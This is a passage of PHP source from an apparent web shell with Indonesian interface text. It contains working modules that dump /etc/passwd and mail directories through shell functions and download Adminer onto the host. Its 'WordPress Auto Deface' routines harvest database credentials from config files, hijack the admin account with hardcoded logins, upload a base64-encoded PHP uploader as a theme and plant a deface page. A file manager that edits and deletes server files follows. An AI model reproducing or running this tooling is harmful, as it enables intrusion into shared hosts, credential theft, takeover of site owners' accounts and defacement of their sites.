  3218.         $site = explode("\r\n", $_POST['url']);
  3219.         $file = $_POST['file'];
  3220.         foreach($site as $url) {
  3221.             $cek = cek("$url/~$user/$file");
  3222.             if(preg_match("/hacked/i", $cek)) {
  3223.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  3224.             }
  3225.         }
  3226.     } else {
  3227.         echo "<center><form method='post'>
  3228.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  3229.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  3230.         Domain: <br>
  3231.         <textarea style='width: 450px; height: 250px;' name='url'>";
  3232.         reverse($_SERVER['HTTP_HOST']);
  3233.         echo "</textarea><br>
  3234.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  3235.         </form><br>
  3236.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  3237.     }
  3238. } elseif($_GET['do'] == 'adminer') {
  3239.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  3240.     function adminer($url, $isi) {
  3241.         $fp = fopen($isi, "w");
  3242.         $ch = curl_init();
  3243.               curl_setopt($ch, CURLOPT_URL, $url);
  3244.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  3245.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  3246.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  3247.               curl_setopt($ch, CURLOPT_FILE, $fp);
  3248.         return curl_exec($ch);
  3249.               curl_close($ch);
  3250.         fclose($fp);
  3251.         ob_flush();
  3252.         flush();
  3253.     }
  3254.     if(file_exists('adminer.php')) {
  3255.         echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  3256.     } else {
  3257.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  3258.             echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  3259.         } else {
  3260.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  3261.         }
  3262.     }
  3263. }elseif($_GET['do'] == 'passwbypass') {
  3264.     echo '<center>Bypass etc/passw With:<br>
  3265. <table style="width:50%">
  3266.  <tr>
  3267.    <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  3268.    <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  3269.     <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>  
  3270.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>      
  3271.    <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  3272. </tr></table>Bypass User With : <table style="width:50%">
  3273. <tr>
  3274.    <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  3275.    <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  3276.     <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>  
  3277.     <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>      
  3278.    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  3279. </tr>
  3280. </table><br>';
  3281.  
  3282.  
  3283. if ($_POST['awkuser']) {
  3284. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3285. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  3286. echo "</textarea><br>";
  3287. }
  3288. if ($_POST['systuser']) {
  3289. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3290. echo system("ls /var/mail");
  3291. echo "</textarea><br>";
  3292. }
  3293. if ($_POST['passthuser']) {
  3294. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3295. echo passthru("ls /var/mail");
  3296. echo "</textarea><br>";
  3297. }
  3298. if ($_POST['exuser']) {
  3299. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3300. echo exec("ls /var/mail");
  3301. echo "</textarea><br>";
  3302. }
  3303. if ($_POST['shexuser']) {
  3304. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3305. echo shell_exec("ls /var/mail");
  3306. echo "</textarea><br>";
  3307. }
  3308. if($_POST['syst'])
  3309. {
  3310. echo"<textarea class='inputz' cols='65' rows='15'>";
  3311. echo system("cat /etc/passwd");
  3312. echo"</textarea><br><br><b></b><br>";
  3313. }
  3314. if($_POST['passth'])
  3315. {
  3316. echo"<textarea class='inputz' cols='65' rows='15'>";
  3317. echo passthru("cat /etc/passwd");
  3318. echo"</textarea><br><br><b></b><br>";
  3319. }
  3320. if($_POST['ex'])
  3321. {
  3322. echo"<textarea class='inputz' cols='65' rows='15'>";
  3323. echo exec("cat /etc/passwd");
  3324. echo"</textarea><br><br><b></b><br>";
  3325. }
  3326. if($_POST['shex'])
  3327. {
  3328. echo"<textarea class='inputz' cols='65' rows='15'>";
  3329. echo shell_exec("cat /etc/passwd");
  3330. echo"</textarea><br><br><b></b><br>";
  3331. }
  3332. echo '<center>';
  3333. if($_POST['melex'])
  3334. {
  3335. echo"<textarea class='inputz' cols='65' rows='15'>";
  3336. for($uid=0;$uid<60000;$uid++){
  3337. $ara = posix_getpwuid($uid);
  3338. if (!empty($ara)) {
  3339. while (list ($key, $val) = each($ara)){
  3340. print "$val:";
  3341. }
  3342. print "\n";
  3343. }
  3344. }
  3345. echo"</textarea><br><br>";
  3346. }
  3347. //
  3348.  
  3349. //
  3350. } elseif($_GET['do'] == 'auto_dwp') {
  3351.     if($_POST['auto_deface_wp']) {
  3352.         function anucurl($sites) {
  3353.             $ch = curl_init($sites);
  3354.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3355.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3356.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3357.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  3358.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3359.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3360.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3361.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3362.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3363.             $data = curl_exec($ch);
  3364.                   curl_close($ch);
  3365.             return $data;
  3366.         }
  3367.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  3368.             $post = array(
  3369.                    "log" => "$userr",
  3370.                    "pwd" => "$pass",
  3371.                    "rememberme" => "forever",
  3372.                    "wp-submit" => "$wp_submit",
  3373.                    "redirect_to" => "$web",
  3374.                    "testcookie" => "1",
  3375.                    );
  3376.             $ch = curl_init($cek);
  3377.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3378.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3379.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3380.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3381.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3382.                   curl_setopt($ch, CURLOPT_POST, 1);
  3383.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  3384.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3385.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3386.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3387.             $data = curl_exec($ch);
  3388.                   curl_close($ch);
  3389.             return $data;
  3390.         }
  3391.         $scan = $_POST['link_config'];
  3392.         $link_config = scandir($scan);
  3393.         $script = htmlspecialchars($_POST['script']);
  3394.         $user = "0x1999";
  3395.         $pass = "0x1999";
  3396.         $passx = md5($pass);
  3397.         foreach($link_config as $dir_config) {
  3398.             if(!is_file("$scan/$dir_config")) continue;
  3399.             $config = file_get_contents("$scan/$dir_config");
  3400.             if(preg_match("/WordPress/", $config)) {
  3401.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  3402.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  3403.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3404.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  3405.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  3406.                 $prefix = $dbprefix."users";
  3407.                 $option = $dbprefix."options";
  3408.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3409.                 $db = mysql_select_db($dbname);
  3410.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3411.                 $result = mysql_fetch_array($q);
  3412.                 $id = $result[ID];
  3413.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3414.                 $result2 = mysql_fetch_array($q2);
  3415.                 $target = $result2[option_value];
  3416.                 if($target == '') {                
  3417.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  3418.                 } else {
  3419.                     echo "[+] $target <br>";
  3420.                 }
  3421.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  3422.                 if(!$conn OR !$db OR !$update) {
  3423.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  3424.                     mysql_close($conn);
  3425.                 } else {
  3426.                     $site = "$target/wp-login.php";
  3427.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  3428.                     $b1 = anucurl($site2);
  3429.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  3430.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  3431.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  3432.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  3433.                     $www = "m.php";
  3434.                     $fp5 = fopen($www,"w");
  3435.                     fputs($fp5,$upload3);
  3436.                     $post2 = array(
  3437.                             "_wpnonce" => "$anu2",
  3438.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  3439.                             "themezip" => "@$www",
  3440.                             "install-theme-submit" => "Install Now",
  3441.                             );
  3442.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  3443.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3444.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3445.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3446.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3447.                           curl_setopt($ch, CURLOPT_POST, 1);
  3448.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  3449.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3450.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3451.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3452.                     $data3 = curl_exec($ch);
  3453.                           curl_close($ch);
  3454.                     $y = date("Y");
  3455.                     $m = date("m");
  3456.                     $namafile = "id.php";
  3457.                     $fpi = fopen($namafile,"w");
  3458.                     fputs($fpi,$script);
  3459.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  3460.                            curl_setopt($ch6, CURLOPT_POST, true);
  3461.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  3462.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  3463.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  3464.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  3465.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  3466.                     $postResult = curl_exec($ch6);
  3467.                            curl_close($ch6);
  3468.                     $as = "$target/k.php";
  3469.                     $bs = anucurl($as);
  3470.                     if(preg_match("#$script#is", $bs)) {
  3471.                         echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  3472.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  3473.                         } else {
  3474.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  3475.                         echo "[!!] coba aja manual: <br>";
  3476.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  3477.                         echo "[+] username: <font color=lime>$user</font><br>";
  3478.                         echo "[+] password: <font color=lime>$pass</font><br><br>";    
  3479.                         }
  3480.                     mysql_close($conn);
  3481.                 }
  3482.             }
  3483.         }
  3484.     } else {
  3485.         echo "<center><h1>WordPress Auto Deface</h1>
  3486.         <form method='post'>
  3487.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  3488.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  3489.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  3490.         </form>
  3491.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  3492.         </center>";
  3493.     }
  3494. } elseif($_GET['do'] == 'auto_dwp2') {
  3495.     if($_POST['auto_deface_wp']) {
  3496.         function anucurl($sites) {
  3497.             $ch = curl_init($sites);
  3498.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3499.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3500.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3501.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  3502.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3503.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3504.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3505.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3506.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  3507.             $data = curl_exec($ch);
  3508.                   curl_close($ch);
  3509.             return $data;
  3510.         }
  3511.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  3512.             $post = array(
  3513.                    "log" => "$userr",
  3514.                    "pwd" => "$pass",
  3515.                    "rememberme" => "forever",
  3516.                    "wp-submit" => "$wp_submit",
  3517.                    "redirect_to" => "$web",
  3518.                    "testcookie" => "1",
  3519.                    );
  3520.             $ch = curl_init($cek);
  3521.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3522.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3523.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3524.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3525.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3526.                   curl_setopt($ch, CURLOPT_POST, 1);
  3527.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  3528.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3529.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3530.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3531.             $data = curl_exec($ch);
  3532.                   curl_close($ch);
  3533.             return $data;
  3534.         }
  3535.         $link = explode("\r\n", $_POST['link']);
  3536.         $script = htmlspecialchars($_POST['script']);
  3537.         $user = "indoxploit";
  3538.         $pass = "indoxploit";
  3539.         $passx = md5($pass);
  3540.         foreach($link as $dir_config) {
  3541.             $config = anucurl($dir_config);
  3542.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  3543.             $dbuser = ambilkata($config,"DB_USER', '","'");
  3544.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3545.             $dbname = ambilkata($config,"DB_NAME', '","'");
  3546.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  3547.             $prefix = $dbprefix."users";
  3548.             $option = $dbprefix."options";
  3549.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3550.             $db = mysql_select_db($dbname);
  3551.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3552.             $result = mysql_fetch_array($q);
  3553.             $id = $result[ID];
  3554.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3555.             $result2 = mysql_fetch_array($q2);
  3556.             $target = $result2[option_value];
  3557.             if($target == '') {                
  3558.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  3559.             } else {
  3560.                 echo "[+] $target <br>";
  3561.             }
  3562.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  3563.             if(!$conn OR !$db OR !$update) {
  3564.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  3565.                 mysql_close($conn);
  3566.             } else {
  3567.                 $site = "$target/wp-login.php";
  3568.                 $site2 = "$target/wp-admin/theme-install.php?upload";
  3569.                 $b1 = anucurl($site2);
  3570.                 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  3571.                 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  3572.                 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  3573.                 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  3574.                 $www = "m.php";
  3575.                 $fp5 = fopen($www,"w");
  3576.                 fputs($fp5,$upload3);
  3577.                 $post2 = array(
  3578.                         "_wpnonce" => "$anu2",
  3579.                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  3580.                         "themezip" => "@$www",
  3581.                         "install-theme-submit" => "Install Now",
  3582.                         );
  3583.                 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  3584.                       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3585.                       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3586.                       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3587.                       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3588.                       curl_setopt($ch, CURLOPT_POST, 1);
  3589.                       curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  3590.                       curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3591.                       curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3592.                       curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3593.                 $data3 = curl_exec($ch);
  3594.                       curl_close($ch);
  3595.                 $y = date("Y");
  3596.                 $m = date("m");
  3597.                 $namafile = "id.php";
  3598.                 $fpi = fopen($namafile,"w");
  3599.                 fputs($fpi,$script);
  3600.                 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  3601.                        curl_setopt($ch6, CURLOPT_POST, true);
  3602.                        curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  3603.                        curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  3604.                        curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  3605.                        curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  3606.                        curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  3607.                 $postResult = curl_exec($ch6);
  3608.                        curl_close($ch6);
  3609.                 $as = "$target/k.php";
  3610.                 $bs = anucurl($as);
  3611.                 if(preg_match("#$script#is", $bs)) {
  3612.                     echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  3613.                     echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  3614.                     } else {
  3615.                     echo "[-] <font color='red'>gagal mepes...</font><br>";
  3616.                     echo "[!!] coba aja manual: <br>";
  3617.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  3618.                     echo "[+] username: <font color=lime>$user</font><br>";
  3619.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  3620.                     }
  3621.                 mysql_close($conn);
  3622.             }
  3623.         }
  3624.     } else {
  3625.         echo "<center><h1>WordPress Auto Deface V.2</h1>
  3626.         <form method='post'>
  3627.         Link Config: <br>
  3628.         <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  3629.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  3630.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  3631.         </form></center>";
  3632.     }
  3633. } elseif($_GET['act'] == 'newfile') {
  3634.     if($_POST['new_save_file']) {
  3635.         $newfile = htmlspecialchars($_POST['newfile']);
  3636.         $fopen = fopen($newfile, "a+");
  3637.         if($fopen) {
  3638.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  3639.         } else {
  3640.             $act = "<font color=red>permission denied</font>";
  3641.         }
  3642.     }
  3643.     echo $act;
  3644.     echo "<form method='post'>
  3645.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  3646.     <input type='submit' name='new_save_file' value='Submit'>
  3647.     </form>";
  3648. } elseif($_GET['act'] == 'newfolder') {
  3649.     if($_POST['new_save_folder']) {
  3650.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  3651.         if(!mkdir($new_folder)) {
  3652.             $act = "<font color=red>permission denied</font>";
  3653.         } else {
  3654.             $act = "<script>window.location='?dir=".$dir."';</script>";
  3655.         }
  3656.     }
  3657.     echo $act;
  3658.     echo "<form method='post'>
  3659.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  3660.     <input type='submit' name='new_save_folder' value='Submit'>
  3661.     </form>";
  3662. } elseif($_GET['act'] == 'rename_dir') {
  3663.     if($_POST['dir_rename']) {
  3664.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  3665.         if($dir_rename) {
  3666.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  3667.         } else {
  3668.             $act = "<font color=red>permission denied</font>";
  3669.         }
  3670.     echo "".$act."<br>";
  3671.     }
  3672.     echo "<form method='post'>
  3673.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  3674.     <input type='submit' name='dir_rename' value='rename'>
  3675.     </form>";
  3676. } elseif($_GET['act'] == 'delete_dir') {
  3677.     function Delete($path)
  3678. {
  3679.     if (is_dir($path) === true)
  3680.     {
  3681.         $files = array_diff(scandir($path), array('.', '..'));
  3682.         foreach ($files as $file)
  3683.         {
  3684.             Delete(realpath($path) . '/' . $file);
  3685.         }
  3686.         return rmdir($path);
  3687.     }
  3688.     else if (is_file($path) === true)
  3689.     {
  3690.         return unlink($path);
  3691.     }
  3692.     return false;
  3693. }
  3694.     $delete_dir = Delete($dir);
  3695.     if($delete_dir) {
  3696.         $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  3697.     } else {
  3698.         $act = "<font color=red>could not remove ".basename($dir)."</font>";
  3699.     }
  3700.     echo $act;
  3701. } elseif($_GET['act'] == 'view') {
  3702.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  3703.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  3704. } elseif($_GET['act'] == 'edit') {
  3705.     if($_POST['save']) {
  3706.         $save = file_put_contents($_GET['file'], $_POST['src']);
  3707.         if($save) {
  3708.             $act = "<font color=lime>Saved!</font>";
  3709.         } else {
  3710.             $act = "<font color=red>permission denied</font>";
  3711.         }
  3712.     echo "".$act."<br>";
  3713.     }
  3714.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  3715.     echo "<form method='post'>
  3716.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  3717.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  3718.     </form>";
  3719. } elseif($_GET['act'] == 'rename') {
  3720.     if($_POST['do_rename']) {
  3721.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  3722.         if($rename) {
  3723.             $act = "<script>window.location='?dir=".$dir."';</script>";
  3724.         } else {
  3725.             $act = "<font color=red>permission denied</font>";
  3726.         }
  3727.     echo "".$act."<br>";
  3728.     }
  3729.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  3730.     echo "<form method='post'>
  3731.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  3732.     <input type='submit' name='do_rename' value='rename'>
  3733.     </form>";
  3734. } elseif($_GET['act'] == 'delete') {
  3735.     $delete = unlink($_GET['file']);
  3736.     if($delete) {
  3737.         $act = "<script>window.location='?dir=".$dir."';</script>";
  3738.     } else {
  3739.         $act = "<font color=red>permission denied</font>";
  3740.     }
  3741.     echo $act;
  3742. }else {
  3743.     if(is_dir($dir) == true) {
  3744.         echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  3745.         <tr>
  3746.         <th class="th_home"><center>Name</center></th>
  3747.         <th class="th_home"><center>Type</center></th>
  3748.         <th class="th_home"><center>Size</center></th>
  3749.         <th class="th_home"><center>Last Modified</center></th>
  3750.         <th class="th_home"><center>Permission</center></th>
  3751.         <th class="th_home"><center>Action</center></th>
  3752.         </tr>';
  3753.         $scandir = scandir($dir);
  3754.         foreach($scandir as $dirx) {
  3755.             $dtype = filetype("$dir/$dirx");
  3756.             $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  3757.             if(!is_dir("$dir/$dirx")) continue;
  3758.             if($dirx === '..') {
  3759.                 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  3760.             } elseif($dirx === '.') {
  3761.                 $href = "<a href='?dir=$dir'>$dirx</a>";
  3762.             } else {
  3763.                 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  3764.             }
  3765.             if($dirx === '.' || $dirx === '..') {
  3766.                 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  3767.                 } else {
  3768.                 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  3769.             }
  3770.             echo "<tr>";
  3771.             echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  3772.             echo "<td class='td_home'><center>$dtype</center></td>";
  3773.             echo "<td class='td_home'><center>-</center></th>";
  3774.             echo "<td class='td_home'><center>$dtime</center></td>";
  3775.             echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  3776.             echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  3777.         }
  3778.         echo "</tr>";
  3779.         foreach($scandir as $file) {
